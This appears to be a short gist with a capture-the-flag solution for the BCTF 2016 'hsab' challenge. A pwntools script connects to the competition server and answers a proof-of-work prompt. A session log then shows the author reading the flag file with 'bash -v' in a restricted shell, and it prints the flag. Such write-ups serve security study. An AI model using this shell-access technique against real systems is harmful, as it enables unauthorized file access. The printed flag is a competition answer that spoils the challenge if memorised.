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icchy/solve.log

Created March 21, 2016 02:24
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BCTF 2016 hsab 250pts
Raw
solve.log
~/D/c/b/hsab ❯❯❯ python solve.py
[+] Opening connection to 104.199.132.199 on port 2222: Done
[*] Switching to interactive mode
-bash-4.4$ $ bash -v /home/ctf/flag.ray
bash -v /home/ctf/flag.ray
#BCTF{ipreferzshtobash}
-bash-4.4$ server: timeout
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 104.199.132.199 port 2222
Raw
solve.py
from pwn import *
import commands
# nc 104.199.132.199 2222
HOST = "104.199.132.199"
PORT = 2222
conn = remote(HOST, PORT)
conn.recvuntil("with '")
p = conn.recvuntil("'")[:-1]
conn.recvuntil('zeros.')
s = commands.getoutput('./a.out '+p)
conn.sendline(s)
conn.interactive()
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